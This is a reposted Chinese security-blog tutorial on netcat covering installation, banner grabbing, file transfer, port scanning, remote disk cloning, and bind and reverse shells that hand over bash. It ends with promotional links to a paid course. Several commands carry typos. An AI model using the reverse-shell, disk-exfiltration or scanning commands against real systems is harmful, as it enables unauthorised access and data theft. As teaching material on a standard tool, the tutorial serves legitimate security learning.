[附下载]网络安全界的“瑞士军刀”--netcat
2022-12-26 11:42:17 Author: 网络安全自修室(查看原文) 阅读量:15 收藏

点击上方蓝字关注我们

1
免责声明

      本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,遵守国家相关法律法规,请勿用于违法用途如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2
内容速览

简介

netcat(nc)是一个简单而有用的工具,被誉为网络安全界的“瑞士军刀”,不仅可以通过使用TCP或UDP协议的网络连接读写数据,同时还是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。 

安装

在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已经安装了nc,如果没有安装,则执行如下命令进行安装

 sudo apt install nc.x86_64

也可以先使用wget命令下载安装包,再进行安装,具体如下 下载地址见 http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

wget  <下载地址>  -0 netcat-0.7.1.tar.gz
tar axvs netcat-0.7.1.tar.gz
cd netcat-0.7.1
./contigure
make

编译完成,就会生成 nc 可以执行的文件了,该文件位于 src 目录下,执行"cd"命令,运行/neteat 文件,就可以找到nc了;

Window安装请在文章底部获取下载链接

nc的可以做到的事情

  • 网络工具中的瑞士军刀——小身材,大智慧
  • 侦听模式
  • telnet/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

Banner

Banner信息,欢迎语,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。

前提条件:需要和目标建立链接,只有建立了链接,我们才能获取对应的banner信息

目标服务器上可以对banner进行隐藏或者禁止读取

NC-TELNET/BANNER

-v:显示详细连接相关信息 -n:后面跟ip地址,-n参数指不会进行dns解析,一般我们使用nc直接进行连接,不建议nc后面跟域名。

nc -vn ip 端口如图实例。返回banner信息,我们可以知道163邮箱使用了coremail实现邮件服务

参数: 
-h 帮助信息
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-u UDP模式
-t TCP模式(默认模式)
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi式的指定范围。
#使用 nc 连接 163 邮箱
[email protected]:~# ping pop3.163.com
[email protected]:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER [email protected]
-ERR źµŕʺƔފ±²»¿ʓn¿ʄܵŔӲˇ:źµŕʺŶൎ³¢˔´µŃ݂鬳䚰²ȫ¿¼Ç,ϒćʱО׆źµŕʺŵðop·Ďˈ¨О
+OK core mail
# 出现乱码,账号和密码需要 base64 编码

[email protected]:~# base64
[email protected]【ctrl+d】
dGVzdEAxNjMuY29tCg==

[email protected]:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER dGVzdEAxNjMuY29tCg==
+OK core mail

[email protected]:~# nc -nv 192.168.1.110 25
(UNKNOWN) [192.168.1.110] 25 (smtp) open
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

//连接80端口
[email protected]:~# nc -nv 192.168.1.110 80
(UNKNOWN) [192.168.1.110] 80 (http) open
head /

1. 传输文本信息

可以作为客户端,也可以作为服务端,如下:a作为服务端监听4444端口,b进行连接

A: [email protected]:~# nc -l -p 4444
B: [email protected]:~# nc -nv 192.168.1.100 4444
# 可以传递输入的消息

# 电子取证的时候要求被审计的目标尽可能少的被修改硬盘数据,可以使用 nc 进行传递消息

如果想要在B上执行命令,但不想显示在B上,我们可以在服务端A监听一个端口,然后在B上输入命令,通过A的ip和端口输出到服务端A。

A: [email protected]:~# nc -l -p 4444
B: [email protected]:~# ls -l | nc -nv 192.168.1.100 4444

在服务端A输入nc -l -p 4444 > ps.txt表明监听到的4444端口的信息都输入到ps.txt中,也就是说,在B中输入命令发送到A的ps文件中

[email protected]:~# nc -l -p 4444 > ps.txt

加上-q 时间表明命令执行完成后几秒断开连接,可以通过-q来进行判断命令是否执行,否则一直保持连接状态无法判断是否执行

[email protected]:~# ps aux | nc -nv 192.168.1.100 -q 1
# -q 1 : 1秒之后断开连接

A: [email protected]:~# nc -l -p 4444 > lsof.txt
B: [email protected]:~# lsof | nc -nv 192.168.1.100 4444 -q 1

2. 传输文件/目录

在服务端输入A代码,将监听的端口内容输出到2.MP4,在客户端将文件输入到192.168.1.100的4444端口


• 传输文件( B->A )
A:[email protected]:~# nc -lp 4444 > 2.mp4
B:[email protected]:~# nc -nv 192.168.1.100 4444 &lt; AWVS\ 01.avi -q 1

或(A->B)
A:[email protected]:~# nc -q 1 -lp 4444 &lt; 2.mp4
B:[email protected]:~# nc -nv 192.168.1.100 4444 > 3.mp4

3. 传输目录

B加密->A解密

A:[email protected]:~# tar zcvf 
- testdir/ | nc -lp 4444 -q 1
B:[email protected]:~# nc 192.168.1.100 4444 | tar zxvf -

4. 加密传文件

不是nc里面的功能,是调用了新系统的加密功能,需要安装相应加密工具

A:[email protected]:~# nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:[email protected]:~# mcrypt --flush -Fbq -a rijndael-256 -m ecb &lt; a.mp4 | nc -nv 192.168.1.100 333 -q 1

5. 流媒体服务器

B的视频流输入到A,A本地不会还原出文件内容

//将3.mp4重定向到333端口
A:[email protected]:~# cat 3.mp4 | nc -lp 333
//客户端连接ip:333端口,接收流,会直接播放
B:[email protected]:~# nc -nv 192.168.1.110 | mplayer -vo x11 -cache 3000 -

6. 端口扫描

-z:扫描模式 -nv

[email protected]:~# nc -nvz 192.168.1.110 1-65535
[email protected]:~# nc -nvz 192.168.1.110 1-1024

7. 远程克隆硬盘

B:作为被取证的电脑

• A:[email protected]:~# nc -lp 4444 | dd of=/dev/sda
• B:[email protected]:~# dd if=/dev/sda | nc -nv 192.168.1.100 4444 -q 1
• 远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。

8.远程控制

• 正向:(B->A)B控制A
如果有人连接A的333端口,A(服务器)就会通过333端口传过去自己的shell
• A:[email protected]:~# nc -lp 333 -c bash
• B:[email protected]:~# nc -nv 192.168.1.100 333
• 反向:(A->B)
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用户把bash改成cmd;

NC缺点

nc缺乏加密和⾝身份验证的能力

  • 打开的端口所有人都可以去连 Ncat包含于nmap⼯工具包中,可以弥补nc的不足

  • ncat管道是加密的,如果有人抓包,里面数据都是被加密的 不同操作系统nc版本可能不同,因此需要查询手册,man 命令

#allow:允许访问的ip
//服务器端A侦听333端口,A把自己的shell交给B
A:[email protected]:~# ncat -c bash --allow 192.168.1.110 -vnl 333 --ssl
B:[email protected]:~# ncat -nv 192.168.1.100 333 --ssl
3
获取方式
工具获取

关注公众号,回复如下消息获取

口令:nc

如果想要系统学习网络安全技术

不妨加入知识星球课程《60天入门网络安全渗透测试》

从入门到案例,贴合实战

轻松易懂、好玩实用

限时领取

超值 | 一起学网络安全! 授人以鱼不如授人以渔!

知识星球优惠券

跟着60天路线(点我查看)一起学

期待你的到来!

往期推荐

从入门到入狱的技术,可以学,别乱用!

网络安全学习方向和资源整理(建议收藏)

一个web安全工程师的基础学习规划

资源 | 渗透测试工程师入门教程(限时领取)

5年老鸟推荐10个玩Python必备的网站

推荐十个成为网络安全渗透测试大佬的学习必备网站!

那些社工师不为人知的秘密。。。

更多内容请关注公众号
网络安全自修室

点个在看你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0NDYxMzk1Mg==&mid=2247497624&idx=1&sn=421156130100ee84bfa2bb6001ea3fe8&chksm=e959a1b7de2e28a16c422a198646adf54f91f67a5afd593a4b57e965ce3dcf4ffd903f94dd20#rd
如有侵权请联系:admin#unsafe.sh